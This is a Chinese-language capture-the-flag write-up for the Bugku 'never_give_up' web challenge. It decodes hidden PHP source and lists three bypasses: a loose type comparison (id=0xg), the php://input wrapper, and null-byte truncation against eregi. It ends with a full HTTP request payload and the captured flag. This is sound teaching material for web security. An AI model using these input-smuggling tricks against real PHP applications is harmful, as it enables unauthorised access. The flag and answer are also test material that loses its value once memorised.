never_give_up——bugku

前言

一个很老的题目了。两前年有个投机取巧的题解。 直接访问 f4l2a3g.txt 得到flag。 现在修复了,必须按部就班的做。 

那、来吧。

解题过程

访问靶场、查看源码,发现有1p.html

访问会跳转到 https://www.bugku.com/

用burp拦截一下试试

(写笔记复现的时候没有拦截成功。但是第一遍确实是没问题的。)

在p1.html的源码里发现有注释

<!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->

 经 base 64编码 再经 url解码

得到php的代码


";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>

审计一下:

主要函数:

stripos函数:返回指定字符的位置。 题目中就是 返回 “.”在 $a 的位置。  配合上if,就是a中不能有 .

file_get_contents:读取指定的文件。题目中是要读取名称为 a 的文件。 并赋值给 data

eregi:这个函数跟 preg_match函数功能一样,实现匹配。但是已经弃用。详情见:实验吧-PHP大法-eregi()函数 - 雨九九 - 博客园 题目的意思是,经过 substr 的 变量b 再拼接 字符串 111     ,用拼接后的字符串 匹配 1114 。 

所以一共有以下限制条件:

1、id传参必须存在,且 等于0

2、a传参 不能有 . 

3、必须读取到 名为a 的文件,且文件内容是:bugku is a nice plateform!

4、b传参长度大于5

5、b的第一个字符不能等于4,且截取后要与 1114 匹配

此外还有个隐形条件。

传入 id = 0 。会自动跳转到 id =1

猜测这里也有一部分检测。

 

绕过方法:

1、id用弱类型比较。 0xg 等于 0  。 (只要是大于十六进制e的字符都可以)

2、利用php伪协议。

a=php://input

post传入:bugku is a nice plateform!

3、利用00截断绕过 eregi

eregi("111".substr($b,0,1),"1114")

b传入 %0012345 , 经过substr截取 空格 ,再与111拼接。  函数在 处理 111 时,遇见空格,会丢弃空格及后面的数据,即 111 变成111,此时 111在1114里面了。

所以最终的payload

GET /hello.php?id=0xg&a=php://input&b=%0012345 HTTP/1.1
Host: 114.67.246.176:19420
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 26

bugku is a nice plateform!

 

flag{20813874f5b06c48bf46ace1f40fb1bd}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值